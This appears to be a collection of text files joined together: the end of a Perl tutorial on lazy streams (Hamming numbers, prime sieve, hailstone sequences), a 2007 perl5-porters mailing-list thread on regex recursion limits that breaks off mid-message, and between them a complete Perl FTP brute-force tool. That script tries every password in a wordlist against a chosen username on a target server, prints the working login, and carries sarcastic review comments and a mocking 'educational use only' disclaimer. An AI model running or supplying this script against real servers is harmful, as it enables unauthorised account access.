eq CODE) { # It's a promise $_[0]{t} = &$tail(); # Collect on the promise } $_[0]{t}; } We should also have a notation for an empty stream, or for a stream that has run out of data, just in case we want finite streams as well as infinite ones. If a stream is empty, we'll represent it with a node that is missing the usual `h' and `t' members, and which instead has an `e' member, to show that it's empty. Here's a function to construct an empty stream: sub empty { my $pack = ref(shift()) || Stream; bless {e => 'I am empty.'} => $pack; } And here's a function that tells you whether a stream is empty or not: sub is_empty { exists $_[0]{e} } These functions, and all the other functions in this article, are available in http://www.plover.com/~mjd/perl/Stream.pm. Let's see an example of how to use this. Here is a function that constructs an interesting stream: You give it a reference to a function, $f, and a number, $n, and it constructs the stream of all numbers of the form f(n), f(n+1), f(n+2), ... sub tabulate { my $f = shift; my $n = shift; Stream->new(&$f($n), sub { &tabulate($f, $n+1) } ) } How does it work? The first element of the stream is just f(n), which in Perl notation is &$f($n). Rather than computing all the rest of the elements of the table (there are an infinite number of them, after all) this function promises to compute more if we want them. The promise is the sub { &tabulate($f, $n+1) } part; it's a function, which, if invoked, will call `tabulate' again, to compute all the values from $n+1 on up. Of course, it won't really compute *all* the values from $n+1 on up; it'll just compute f(n+1), and give back a promise to compute f(n+2) and the rest if they're needed. Now we can do an example: sub square { $_[0] * $[0] } $squares = &tabulate( \&square, 1); The `show' utility, supplied in Streams.pm, prints out the first few elements of a stream---the first ten, if you don't say otherwise: $squares->show; 1 4 9 16 25 36 49 64 81 100 Let's add a little debugging to `tabulate' so we can see better what's going on. This version of `tabulate' is the same as the one above, except that it prints an extra line of output just before it calls the function `f': sub tabulate { my $f = shift; my $n = shift; print STDERR "-- Computing f($n)\n"; # For debugging Stream->new(&$f($n), sub { &tabulate($f, $n+1) } ) } $squares = &tabulate( \&square, 1); -- Computing f(1) $squares->show(5); 1 -- Computing f(2) 4 -- Computing f(3) 9 -- Computing f(4) 16 -- Computing f(5) 25 -- Computing f(6) $squares->show(6); 1 4 9 16 25 36 -- Computing f(7) $squares->show(5); 1 4 9 16 25 Something interesting happened when we did show(6) up there---the stream object only called the `tabulate' function once, to compute the square of 7. The other 6 elements had already been computed and saved, so it didn't need to compute them again. Similarly, the second time we did show(5), the program didn't need to call `tabulate' at all; it had already computed and saved the first five squares and it just printed them out. Saving computed function values in this way is called `memoization'. Someday, we could come along and do $squares->show(1_000_000_000); and the stream would compute 999,999,993 squares for us, but until we ask for them, it won't, and that saves space and time. That's called `lazy evaluation'. To solve Hamming's problem, we need only one more tool, called `merge'. `merge' is a function which takes two streams of numbers in ascending order and merges them together into one stream of numbers in ascending order, eliminating duplicates. For example, merging 1 3 5 7 9 11 13 15 17 ... with 1 4 9 16 25 36 ... yields 1 3 4 5 7 9 11 13 15 16 17 19 ... sub merge { my $s1 = shift; my $s2 = shift; return $s2 if $s1->is_empty; return $s1 if $s2->is_empty; my $h1 = $s1->head; my $h2 = $s2->head; if ($h1 > $h2) { Stream->new($h2, sub { &merge($s1, $s2->tail) }); } elsif ($h1 < $h2) { Stream->new($h1, sub { &merge($s1->tail, $s2) }); } else { # heads are equal Stream->new($h1, sub { &merge($s1->tail, $s2->tail) }); } } HAMMING'S PROBLEM Now we have enough tools to solve Hamming's problem! Here's how we'll do it. We're going to construct a stream which has the numbers we want in it. How can we do that? We know that the first element of the Hamming sequence is 1. That's easy. The rest of the sequence is made up of multiples of 2, multiples of 3, and multiples of 5. Let's think about the multiples of 2 for a minute. Here's the Hamming sequence, with multiples of 2 marked with *'s: * * * * * * * * 1 2 3 4 5 6 8 9 10 12 15 16 18 ... Now here's the Hamming sequence again, with every element multiplied by 2: 2 4 6 8 10 12 16 18 20 24 30 32 36 ... Notice how the second row of numbers contains all of the starred numbers from the first row---If a number is even, and it's a Hamming number, then it's two times some other Hamming number. That means that if we had the Hamming sequence hanging around, we could multiple every number in it by 2, and that would give us all the even Hamming numbers. We could do the same thing with 3 and 5 instead of 2. By multiplying the Hamming sequence by 2, by 3, and by 5, and merging those three sequences together, we'd get a sequence that contained all the Hamming numbers that were multiples of 2, 3, and 5. That's all of them, except for 1, which we could just tack on the front. This is how we'll solve our problem. Let's build a function that takes a stream and multiplies every element in it by a constant: # Multiply every number in a stream `$self' by a constant factor `$n' sub scale { my $self = shift; my $n = shift; return &empty if $self->is_empty; Stream->new($self->head * $n, sub { $self->tail->scale($n) }); } Here's the solution to the Hamming sequence problem: We use `scale' to scale the Hamming sequence by 2, by 3, and by 5, we merge those three streams together, and we tack a 1 on the front, and the result is the Hamming sequence: # Construct the stream of Hamming's numbers. sub hamming { 1 my $href = \1; # Dummy reference 2 my $hamming = Stream->new( 3 1, 4 sub { &merge($$href->scale(2), 5 &merge($$href->scale(3), 6 $$href->scale(5))) }); 7 $href = \$hamming; # Reference is no longer a dummy 8 $hamming; } Line 1 creates a reference to the scalar `1'. We're not interested in this `1', but we need a reference variable around to use to refer to $hamming so that we can include it in the calls to `merge'. After we've defined the anonymous subroutine (lines 4--6) which uses `$href', we pull a switcheroo and make $href refer to $hamming (line 7) instead of to the irrelevant `1' value. This function works, and it's efficient: &hamming()->show(20); 1 2 3 4 5 6 8 9 10 12 15 16 18 20 24 25 30 32 36 40 It only takes a few minutes to compute three thousand Hamming numbers, even on my dinky P75 computer. We could make this more efficient by fixing up `merge' to merge three streams instead of two, but that's left as an exercise for Our Most Assiduous Reader. DATA FLOW PROGRAMMING The great thing about streams is that you can treat them as sources of data, and you can compute with these sources by merging and filtering data streams; these is called a `data flow' paradigm. If you're a Unix programmer, you're probably already familiar with the data flow paradigm, because programming with pipelines in the shell is the same thing. Here's an example of a function, `filter', that accepts one stream as an argument, filters out all the elements from it that we don't want, and returns a stream of the elements we do want---it does for streams what the Unix `grep' program does for pipes, or what the Perl `grep' function does for lists. `filter's second argument is a `predicate' function that returns true or false depending on whether it's applied to an argument we do or don't want: # Return a stream on only the interesting elements of $arg. sub filter { my $stream = shift; # Second argument is a predicate function that returns true # only when passed an interesting element of $stream. my $predicate = shift; # Look for next interesting element while (! $stream->is_empty && ! &$predicate($stream->head)) { $stream = $stream->tail; } # If we ran out of stream, return the empty stream. return &empty if $stream->is_empty; # Construct new stream with the interesting element at its head # and the rest of the stream, appropriately filtered, # at its tail. Stream->new($stream->head, sub { $stream->tail->filter($predicate) } ); } Let's find perfect squares that are multiples of 5: sub is_multiple_of_5 { $_[0] % 5 == 0 } $squares->filter(\&is_multiple_of_5)->show(6); 25 100 225 400 625 900 You could do all sorts of clever things with this: * If $input were a stream whose elements were the lines of input to your program, you could construct $input->filter(sub {$_[0] =~ /PATTERN/}), the stream of input lines that matched a certain pattern. * If $queens were a stream that produced arrangements of eight queens on a chessboard, you could build a filter that checked each arrangement to see if any queens attacked one another, and then you'd have a stream of solutions to the famous eight-queens problem. If you wanted only one solution, you could ask for ->show(1), and your program would stop as soon as it had found a single solution; if you wanted all the solutions, you could ask for ->show(ALL). Here's a particularly clever application: We can use filtering to compute a stream of prime numbers: sub prime_filter { my $s = shift; my $h = $s->head; Stream->new($h, sub { $s->tail ->filter(sub { $_[0] % $h }) ->prime_filter() }); } To use this, you apply it to the stream of integers starting at 2: 2 3 4 5 6 7 8 9 ... The first thing it does is to pull the 2 off the front and returns that, but it also filters the tail of the stream and throws away all the elements that are divisible by 2. Then, it gets the next available element, that's 3, and returns that, and filters the rest of the stream (which was already missing the even numbers) to throw away the elements that are divisible by 3. Then it pulls the next element off the front, that's 5... and so on. If we're going to have fun with this, we need to start it off with that stream of numbers that begins at 2: $iota2 = &tabulate(sub {$_[0]}, 2); $iota2->show; 2 3 4 5 6 7 8 9 10 11 $primes = $iota2->prime_filter $primes->show; 2 3 5 7 11 13 17 19 23 29 This isn't the best algorithm for computing primes, but it is the oldest---it's called the Sieve of Eratosthenes and it was invented about 2,300 years ago. Exercise for mathematically inclined readers: What's interesting about this stream: &tabulate(sub {$_[0] * 3 + 1}, 1)->prime_filter There are a very few basic tools that we need to make good use of streams. `filter' was one; it filters uninteresting elements out of a stream. Similarly, `transform' takes one stream and turns it into another. If you think of `filter' as a stream version of Perl's `grep' function, you should think of `transform' as the stream version of Perl's `map' function: sub transform { my $self = shift; return &empty if $self->is_empty; my $map_function = shift; Stream->new(&$map_function($self->head), sub { $self->tail->transform($map_function) } ); } If we'd known about `transform' when we wrote `hamming' above, we would never have built a separate `scale' function; instead of $s->scale(2) we might have written $s->transform(sub { $_[0] * 2 }). $squares->transform(sub { $_[0] * 2 })->show(5) 2 8 18 32 50 We'll see a more useful use of this a little further down. Here are a couple of very Perlish streams, presented without discussion: # Stream of key-value pairs in a hash sub eachpair { my $hr = shift; my @pair = each %$hr; if (@pair) { Stream->new([@pair], sub {&eachpair($hr)}); } else { # There aren't any more ∅ } } # Stream of input lines from a filehandle sub input { my $fh = shift; my $line = <$fh>; if ($line eq '') { ∅ } else { Stream->new($line, sub {&input($fh)}); } } # Get first 3 lines of standard input that contain `hello' @hellos = &input(STDIN)->filter(sub {$_[0] =~ /hello/i})->take(3); `iterate' takes a function and applies it to an argument, then applies the function to the result, then the the new result, and so on: # compute n, f(n), f(f(n)), f(f(f(n))), ... sub iterate { my $f = shift; my $n = shift; Stream->new($n, sub { &iterate($f, &$f($n)) }); } One use for `iterate' is to build a stream of pseudo-random numbers: # This is the RNG from the ANSI C standard sub next_rand { int(($_[0] * 1103515245 + 12345) / 65536) % 32768 } sub rand { my $seed = shift; &iterate(\&next_rand, &next_rand($seed)); } &rand(1)->show; 16838 14666 10953 11665 7451 26316 27974 27550 31532 5572 &rand(1)->show; 16838 14666 10953 11665 7451 26316 27974 27550 31532 5572 &rand(time)->show 28034 22040 18672 28664 13341 15205 10064 17387 18320 32588 &rand(time)->show 13922 629 7230 7835 4162 23047 1022 5549 14194 25896 Some people in comp.lang.perl.misc pointed out that Perl's built-in random number generator doesn't have a good interface, because it should be seeded once, but there's no way for two modules written by different authors to agree on which one should provide the seed. Also, two or more independent modules drawing random numbers from the same source may reduce the randomness of the numbers that each of them gets. But with random numbers from streams, you can manufacture as many independent random number generators as you want, and each part of your program can have its own, and use it without interfering with the random numbers generated by other parts of your program. Suppose you want random numbers between 1 and 10 only? Just use `transform': $rand = &rand(time)->transform(sub {$_[0] % 10 + 1}); $rand->show(20); 1 5 8 2 8 10 4 7 3 10 3 6 3 8 8 9 7 7 8 8 Of course, if we do $rand->show(20) again, we'll get exactly the same numbers. There are an infinite number of random numbers in $rand, but the first 20 are always the same. We can get to some fresh elements with `drop': $rand = $rand->drop(10); This is such a common operation, that we have a shorthand for it: $rand->discard(10); We can also use `iterate' to investigate the `hailstone numbers', which star in a famous unsolved mathematical problem, the `Collatz conjecture'. The hailstone question is this: Start with any number, say `n'. If n is odd, multiply it by 3 and add 1; if it's even, divide it by 2. Repeat forever. Depending on where you start, one of three things will happen: 1. You will eventually fall into the loop 4, 2, 1, 4, 2, 1, ... 2. You will eventually fall into some other loop. 3. The numbers will never loop; they will increase without bound forever. The unsolved question is: Are there any numbers that *don't* fall into the 4-2-1 loop? # Next number in hailstone sequence sub next_hail { my $n = shift; ($n % 2 == 0) ? $n/2 : 3*$n + 1; } # Hailstone sequence starting with $n sub hailstones { my $n = shift; &iterate(\&next_hail, $n); } &hailstones(15)->show(23); 15 46 23 70 35 106 53 160 80 40 20 10 5 16 8 4 2 1 4 2 1 4 2 `iterate_chop' takes the infinite stream produced by `iterate', and chops off the tail before the sequence starts to repeat itself. &hailstones(15)->iterate_chop->show(ALL); 15 46 23 70 35 106 53 160 80 40 20 10 5 16 8 4 2 By counting the length of the resulting stream, we can see how long it took the hailstone sequence to start repeating: print &hailstones(15)->iterate_chop->length; 17 Of course, you need to be careful not to ask for the length of an infinite stream! Clearly, you could solve these same problems without streams, but oftentimes it's simpler to express your problem in terms of filtering and merging of data streams, as it was with Hamming's problem. With streams, you get a convenient notation for powerful data flow ideas, and you can apply your experience in programming Unix shell pipelines. OTHER DIRECTIONS The implementation of streams in Stream.pm is wasteful of space and time, because it uses an entire two-element hash to store each element of the stream, and because finding the n'th element of a stream requires following a chain of n references. A better implementation would cache all the memoized stream elements in a single array where they could be accessed conveniently. Our Most assiduous Reader might like to construct such an implementation. A better programming interface for streams would be to tie the `Stream' package to a list with the `tie' function, so that the stream could be treated like a regular Perl array. Unfortunately, as the man page says: WARNING: Tied arrays are incomplete. References: _ML for the Working Programmer_, L.C. Paulson, Cambridge University Press, 1991, pp. 166--185. _Structure and Interpretation of Computer Programs_, Harold Abelson and Gerald Jay Sussman, MIT Press, 1985, pp. 242--286. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 3768 2007-02-26 18:12 laugh/napta.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <Calvin> By golly, if people aren't burying toxic wastes or testing nuclear weapons, they're throwing trash everywhere! #!/usr/bin/perl # # Bollocks to the bollocks # FTP brute force tool # Loads a password file and attacks a selected username until # sucessful login. # # DISCLAIMER: # This program was written for educational use only (haha!) # I don't care what you do with it, but I'm not responsible for any trouble # you get yourself into as a result of using this. # # Depends on: # - Tie::File # # TODO: # - Remove the need for Tie::File to make more portable. # # Disclaimers suck # Tie::File is core. # Also, it is a lightweight module. # Also, don't give such a shit about what is portable and what isn't, # one can't always reinvent the wheel (and do so weakly!) use Socket; use Tie::File; # strict, warnings, you know the deal $sucess = 0; $i = 0; $pass_file = @ARGV[2]; $hostname = @ARGV[0]; $port = 21; @passfile; $username = @ARGV[1]; # my ($hostname, $username, $pass_file) = @ARGV; # my ($success, $port, $i, @passfile) = (0,21,0); usage(); # Check argvs load_passfile(); # Load passwords from text file display_status(); while ($i < $array_size && $sucess < 1) { # Main loop $NETFD = &connect($hostname, $port); # Prototype for the death, no? sysread $NETFD, $message,100 or die "Cannot read socket: $!\n"; # sysread, the ultimate in advanced socket usage $code = substr($message, 0, 3); if(($code) eq "220") { # if ($code == 220) { send($NETFD, "USER $username\n",0); sysread $NETFD, $message,100 or die "Cannot read socket: $!\n"; send($NETFD, "PASS @passfile[$i]\n",0); # rookie, you want $passfile[$i] print "Trying pass: @passfile[$i] ...\n"; } else { print $message; die "No response from FTP server!\n"; } # This could be a lot cleaner, put the error in its own if and run the rest without sysread $NETFD, $message,100 or die "Cannot read socket: $!\n"; $code = substr($message, 0, 3); if (($code) eq "230") { # Whoohoo we got a login! send($NETFD, "QUIT\n",0); sysread $NETFD, $message,100 or die "Cannot read socket: $!\n"; close $NETFD; print STDOUT " *** ! LOGIN SUCESSFUL ! ***\n"; print STDOUT "Username: $username\n"; print STDOUT "Password: @passfile[$i]\n"; $sucess = "1"; # $success = 1; } else { # Bad login :( $i++; } # ha. lamer. } # ## Create the socket # sub connect { my ($host, $port, $server, $pt,$pts, $proto, $servaddr); $host = $hostname; # STUPID FUCK $pt = "21"; # STUPID FUCK $server = gethostbyname($host) or die "gethostbyname: cannot locate host: $!\n"; $pts = getservbyport($pt, 'tcp') or die "getservbyname: cannot get port: $!\n"; $proto = getprotobyname('tcp') or die " : $!"; $servaddr = sockaddr_in($pt, $server); socket(CONNFD, PF_INET, SOCK_STREAM, $proto); connect(CONNFD, $servaddr) or die "connect: $!\n"; return CONNFD; } # ## Load password file into array # sub load_passfile { # Load password file tie @passfile, 'Tie::File', $pass_file; $array_size = @passfile; return $array_size; # return scalar @passfile; } # ## Display output # sub display_status { print "Hostname: $hostname\n"; print "Username: $username\n"; print "Number of passwords loded: $array_size\n"; } sub usage { $numArgs = $#ARGV + 1; # my $numArgs = scalar @ARGV; # and, why bother? if (($numArgs) < 3) { print "Perl FTP brute force tool\n"; print "Written by someone\n"; # no need to take credit for this piece of shit, Napta print "Usage: ./bruteforce [hostname] [username] [wordlist]\n"; exit; } } # Seriously, what is this shit? You can pass parameters to a function sometimes, # but not always? # You code like you want to get shot. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -rw------- 1 puyou puyou 28681 2007-02-26 18:12 school/p5p.txt ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1 Abigail Feb 14 2 Demerphq Feb 14 3 Abigail Feb 14 4 Abigail Feb 14 5 Demerphq Feb 14 6 H.Merijn Brand Feb 14 7 Rafael Garcia-Suarez Feb 14 8 Rafael Garcia-Suarez Feb 14 9 Yitzchak Scott-Thoennes Feb 14 10 Demerphq Feb 14 11 Paul Johnson Feb 14 12 Abigail Feb 14 13 Tels Feb 14 14 Demerphq Feb 14 15 h...@crypt.org Feb 14 16 Demerphq Feb 15 17 Demerphq Feb 15 18 Robin Houston Feb 15 19 Nicholas Clark Feb 15 20 Demerphq Feb 15 21 Robin Houston Feb 15 22 h...@crypt.org Feb 15 1 Abigail Feb 14 In bleadperl, there's a compiled in limit of 50 nested recursion calls. If you exceed the limit, your program dies. I think this limit is too low. I took the grammar for email addresses from RFC2822 and turned it into a regular expression (see below). Matching 'abig...@abigail.be' against the regexp engine exceeds the limit of 50 nested recursion calls. Increasing the limit to 500 makes the match succeed. No doubt the regexp could have been written in such a way that the limit isn't reached. But the regexp was constructed fairly mechanically from the BNF. Regardless of the actualy limit, I think dying is quite harsh. Therefore, I propose three things: 1) Up the default limit of 50. 2) Allow a Configure option to set the limit to something else than the default. 3) If the recursion limit is exceeded, fail the match and throw a *warning*. Don't die. Abigail #!/opt/perl/current/bin/perl use strict; use warnings; no warnings 'syntax'; my $email_address = qr { (?(DEFINE) (?<address> (?&mailbox) | (?&group)) (?<mailbox> (?&name_addr) | (?&addr_spec)) (?<name_addr> (?&display_name)? (?&angle_addr)) (?<angle_addr> (?&CFWS)? < (?&addr_spec) > (?&CFWS)?) (?<group> (?&display_name) : (?:(?&mailbox_list) | (?&CFWS))? ; (?&CFWS)?) (?<display_name> (?&phrase)) (?<mailbox_list> (?&mailbox) (?: , (?&mailbox))*) (?<address_list> (?&address) (?: , (?&address))*) (?<addr_spec> (?&local_part) \@ (?&domain)) (?<local_part> (?&dot_atom) | (?"ed_string)) (?<domain> (?&dot_atom) | (?&domain_literal)) (?<domain_literal> (?&CFWS)? \[ (?: (?&FWS)? dcontent)* (?&FWS)? \] (?&CFWS)?) (?<dcontent> (?&dtext) | (?"ed_pair)) (?<dtext> (?&NO_WS_CTL) | [\x21-\x5a\x5e-\x7e]) (?<atext> (?&ALPHA) | (?&DIGIT) | [!#\$%&'*+-/=?^_`{|}~]) (?<atom> (?&CFWS)? (?&atext)+ (?&CFWS)?) (?<dot_atom> (?&CFWS)? (?&dot_atom_text) (?&CFWS)?) (?<dot_atom_text> (?&atext)+ (?: \. (?&atext)+)*) (?<text> [\x01-\x09\x0b\x0c\x0e-\x7f]) (?<quoted_pair> \\ (?&text)) (?<qtext> (?&NO_WS_CTL) | [\x21\x23-\x5b\x5d-\x7e]) (?<qcontent> (?&qtext) | (?"ed_pair)) (?<quoted_string> (?&CFWS)? (?&DQUOTE) (?:(?&FWS)? (?&qcontent))* (?&FWS)? (?&DQUOTE) (?&CFWS)?) (?<word> (?&atom) | (?"ed_string)) (?<phrase> (?&word)+) # Folding white space (?<FWS> (?: (?&WSP)* (?&CRLF))? (?&WSP)+) (?<ctext> (?&NO_WS_CTL) | [\x21-\x27\x2a-\x5b\x5d-\x7e]) (?<ccontent> (?&ctext) | (?"ed_pair) | (?&comment)) (?<comment> \( (?: (?&FWS)? (?&ccontent))* (?&FWS)? \) ) (?<CFWS> (?: (?&FWS)? (?&comment))* (?: (?:(?&FWS)? (?&comment)) | (?&FWS))) # No whitespace control (?<NO_WS_CTL> [\x01-\x08\x0b\x0c\x0e-\x1f\x7f]) (?<ALPHA> [A-Za-z]) (?<DIGIT> [0-9]) (?<CRLF> \x0d \x0a) (?<DQUOTE> ") (?<WSP> [\x20\x09]) ) (?&address) }x; foreach (<DATA>) { chomp; print qq ["$_" is ], /^$email_address$/ ? "" : "not ", "a valid address.\n"; } __DATA__ abig...@abigail.be application_pgp-signature_part 1K Download Reply Reply to author Forward Rate this post: 2. Demerphq View profile More options Feb 14, 12:31 pm On 2/14/07, Abigail <abig...@abigail.be> wrote: > In bleadperl, there's a compiled in limit of 50 nested recursion > calls. If you exceed the limit, your program dies. This is not strictly correct, the restriction is that 50 nested recursion calls /without consuming data/ will result in a die. - Show quoted text - Im happy with all three of these. I was just worried about infinite recursion and punted. If you think the behaviour is suboptimal then we should change it. What should the default be you think? 500? 512? I leave the configure option up to Tux I guess. (actually there are a few other regex related defines that maybe should be handled by Configure as well). cheers, Yves -- perl -Mre=debug -e "/just|another|perl|hacker/" Reply Reply to author Forward Rate this post: 3. Abigail View profile More options Feb 14, 12:37 pm On Wed, Feb 14, 2007 at 06:31:10PM +0100, demerphq wrote: > On 2/14/07, Abigail <abig...@abigail.be> wrote: > >In bleadperl, there's a compiled in limit of 50 nested recursion > >calls. If you exceed the limit, your program dies. > This is not strictly correct, the restriction is that 50 nested > recursion calls /without consuming data/ will result in a die. Yes, that makes sense. - Show quoted text - I don't know (yet?). Perhaps we should go for 512 now and have people play with it (I will). Only if people play with it we will know whether 512 is enough. Abigail application_pgp-signature_part 1K Download Reply Reply to author Forward Rate this post: 4. Abigail View profile More options Feb 14, 12:47 pm - Show quoted text - That would be very nice as that would allow people to increase the recursion limit for some expressions while keeping the default for others. Perhaps it would even be possible to allow $^REG_MAX_RECURSE = 0 which will turn the check off entirely. Hmmm. /(?{ $^REG_MAX_RECURSE = 1000 }) ... Pattern that can recurse heavily ... / Abigail application_pgp-signature_part 1K Download Reply Reply to author Forward Rate this post: 5. Demerphq View profile More options Feb 14, 12:40 pm On 2/14/07, Abigail <abig...@abigail.be> wrote: - Show quoted text - Maybe we could make it a magic var. $^REG_MAX_RECURSE or something... Then people wouldnt need to rebuild to work around the problem. Yves -- perl -Mre=debug -e "/just|another|perl|hacker/" Reply Reply to author Forward Rate this post: 6. H.Merijn Brand View profile More options Feb 14, 1:47 pm - Show quoted text - IMHO making it Configure-able is *BAD*. That would mean that your module, carefully tested on all your architectures and OS's - that of course all have a higher than default limit - will suddenly start to crash on target systems that use the default. I would *really* prefer something settable at runtime. > I leave the configure option up to Tux I guess. (actually there are a > few other regex related defines that maybe should be handled by > Configure as well). -- H.Merijn Brand Amsterdam Perl Mongers (http://amsterdam.pm.org/) using & porting perl 5.6.2, 5.8.x, 5.9.x on HP-UX 10.20, 11.00, 11.11, & 11.23, SuSE 10.0 & 10.2, AIX 4.3 & 5.2, and Cygwin. http://qa.perl.org http://mirrors.develooper.com/hpux/ http://www.test-smoke.org http://www.goldmark.org/jeff/stupid-disclaimers/ Reply Reply to author Forward Rate this post: 7. Rafael Garcia-Suarez View profile More options Feb 14, 12:31 pm On 14/02/07, Abigail <abig...@abigail.be> wrote: - Show quoted text - I think that's reasonable. > 2) Allow a Configure option to set the limit to something else > than the default. Use -Accflags=-DMAX_RECURSE_EVAL_NOCHANGE_DEPTH=500 : Change 30293 on 2007/02/14 by rgs@benny Allow to override MAX_RECURSE_EVAL_NOCHANGE_DEPTH, introduced in change 28939 (this should be documented) > 3) If the recursion limit is exceeded, fail the match and throw > a *warning*. Don't die. A warning ? And risking a segfault ? Reply Reply to author Forward Rate this post: 8. Rafael Garcia-Suarez View profile More options Feb 14, 12:35 pm I wrote: > > 3) If the recursion limit is exceeded, fail the match and throw > > a *warning*. Don't die. > A warning ? And risking a segfault ? Excuse me, I'm blind. Yes, I completely agree with 3 too. Reply Reply to author Forward Rate this post: 9. Yitzchak Scott-Thoennes View profile More options Feb 14, 1:19 pm Rafael Garcia-Suarez <rgarciasuarez <at> gmail.com> writes: > On 14/02/07, Abigail <abigail <at> abigail.be> wrote: > > 2) Allow a Configure option to set the limit to something else > > than the default. > Use -Accflags=-DMAX_RECURSE_EVAL_NOCHANGE_DEPTH=500 : Shouldn't that have REGEX somewhere in the name? > > 3) If the recursion limit is exceeded, fail the match and throw > > a *warning*. Don't die. But you don't know whether the string actually matches the regex or not. To fail the match would be lying. -- I'm looking for work: http://perlmonks.org/?node=ysth#looking Reply Reply to author Forward Rate this post: 10. Demerphq View profile More options Feb 14, 3:28 pm On 2/14/07, Yitzchak Scott-Thoennes <sthoe...@efn.org> wrote: > > On 14/02/07, Abigail <abigail <at> abigail.be> wrote: > > > 3) If the recursion limit is exceeded, fail the match and throw > > > a *warning*. Don't die. > But you don't know whether the string actually matches the regex or not. > To fail the match would be lying. I think I have to retract my earlier postion, I think you are right here. Failing would be more wrong than dieing. Yves -- perl -Mre=debug -e "/just|another|perl|hacker/" 11. Paul Johnson May I present a dissenting opinion? I can imagine this leading to portability problems where a regex "works" on one perl and doesn't on another. I would prefer to have a higher limit, if this one might be hit by a reasonable regex. At the least, I would imagine that this parameter should be output as part of perl -V. Making it settable at runtime is another option of course. What is the problem with having it set to a very large value? Memory? Stack? Time? Something else? But then, I'd also like to increase the standard subroutine recursion limit, since it seems that two of my three CPAN modules seem to hit it fairly regularly, as has recently been noted. And hardly anyone uses the other module ;-) PS On rereading I note that Rafael seems to be saying that upping the default limit is reasonable, where I had originally read that as saying the current default limit was reasonable. -- Paul Johnson - paul@pjcj.net http://www.pjcj.net 12. Abigail That is true, but we already have that. A program that works on a version of Perl with threads enabled may not work on a version of Perl without. A program that works correctly on a version of Perl with 64 bit integers may not work on a version of Perl that uses 32 bit integers. Besides, I believe that the majority of the Perl programs that are written are not intended to be distributed. Should we tell someone "no, you cannot configure the (arbitrary) recursion limit, because we think you may write a regexp that you will distribute"? I think that we should make it easy to write portable programs, but we shouldn't force portability upon others, specially not if it takes away freedom. Portability should remain a choice. Furthermore, even without a Configure option, people can always patch the source, so you cannot prevent it anyway. Finally, were I to distribute regexes that would hit the default recursion limit, I much rather document the Configure option they need to use to rebuild their perl, than which line in which file to modify. A Configure option is more likely to remain constant between versions than a line number. Of course, if the limit is settable at run time, the issue become less pressing. But even then I still prefer to have the Configure option. Even if it's as long -Accflags=-DMAX_RECURSE_EVAL_NOCHANGE_DEPTH=500. Abigail 13. Tels -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Moin, [snip] - Show quoted text - We have the same limit with memory, btw. Runs with 256Mbyte, doesn't run with 10Mbyte. But that is not a reason to add even more of these limits :D >Besides, I believe that the majority of the Perl programs that are >written are not intended to be distributed. I think this is irrelevant to the discussion at hand :) >Should we tell someone "no, you cannot configure the (arbitrary) recursion >limit, because we think you may write a regexp that you will distribute"? >I think that we should make it easy to write portable programs, but we >shouldn't force portability upon others, specially not if it takes away >freedom. Portability should remain a choice. Yep, but read on for my opinion: >Furthermore, even without a Configure option, people can always patch >the source, so you cannot prevent it anyway. Right, too,but read on: >Finally, were I to distribute regexes that would hit the default recursion >limit, I much rather document the Configure option they need to use to >rebuild their perl, than which line in which file to modify. A Configure >option is more likely to remain constant between versions than a line >number. >Of course, if the limit is settable at run time, the issue become less >pressing. But even then I still prefer to have the Configure option. >Even if it's as long -Accflags=-DMAX_RECURSE_EVAL_NOCHANGE_DEPTH=500. We already have such a limit: normal recursion. You cannot configure it, but you can disable it locally at runtime. And everytime you write a recursive routine you pretty much need to disable it, because you do not know what data is feed to that routine, and hence cannot know how deep it recurses. So, if the deep recursion of the regexp is data dependend (aka the string it matches), you need to disable that limit temporarily. Not just set it to an arbitrary number like 1000. This *will* blow up on some data.[0] If the recursion is not data dependend (i believe it is, but I am not sure), but is purely bound by the constructed regexp, then you still need a way to set this limit to infite (aka disable it), because regexp can be constructed at runtime from user data, and this data can blow any arbitrary limit you set. Who knows, maybe it is ok to recurse 10000 times and then match. So I strongly argue in favour of a runtime setting to disable this limit. Bonus points if you can make this only warn, not die. More bonus points if the default limit can be set by configure at compile time, but this is actually quite moot, since every program that expects to hit some limit needs to disable that check temp. at the right place, anyway. Best wishes, Tels [0] Finding out wether your routine will never go beyond X recursions amounts basically to solving the halting problem. It can be determied for fixed inputs, maybe even for some entire classes of inputs, but if you allow arbitrarily input the limit is basically arbitrarily big, too :) - -- Signed on Wed Feb 14 20:46:34 2007 with key 0x93B84C15. Get one of my photo posters: http://bloodgate.com/posters PGP key on http://bloodgate.com/tels.asc or per email. "My name is Felicity Shagwell. Shagwell by name, shag very well by reputation." -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.2 (GNU/Linux) iQEVAwUBRdNpS3cLPEOTuEwVAQKv2Af9Eu2OoGXgdeQXjyGF8/uN99RW92Am5nyM oeK29MqWLIP808hvT4gsUyu8mrpXTHlCkp3hIrDPw6100Y+SqCfxcu/vvp/6JzbY nE7Z1R67FyNdvCwFnvGa1hv7qgINnHwxG6BDhI7p6YbdemY1i7MIFiCshXUBQNzm ZEJ3ja/cR1WN8nU7K0Fl6FeieKRRPjSfmXu4DlwnmzOSvIgPwAmvIEwSkvX0vpF/ VeShmTjoVK4AyE1uzolwGauD/4017ibDWeRiwi26mi+RH80F5loAWiPxk0W8AB6k 3gSiKLwE2WqDQOrFZZaaHe+4f6Fkdv1hTEjcqdJlVLulx7/6+rb0Ww== =R6xQ -----END PGP SIGNATURE----- Reply Reply to author Forward Rate this post: 14. Demerphq View profile More options Feb 14, 3:21 pm On 2/14/07, Tels <nospam-ab...@bloodgate.com> wrote: - Show quoted text - Just wanted to make clear, this isnt recursion in any normal concept of the word. This is pattern recursion (inside of a while loop no less!), on the HEAP, not the stack, and only applies to the case where a recursive pattern does not consume any input before recursing, and is there to prevent infinite loops either intentional or accidental. So for instance (?<x>a(?&x)?) will never hit the limit regardless of how many times it recurses. Wheras (?<x>(?&x)?a) will die with a warning when it hits the limit. > Bonus points if you can make this only warn, not die. > More bonus points if the default limit can be set by configure at compile > time, but this is actually quite moot, since every program that expects to > hit some 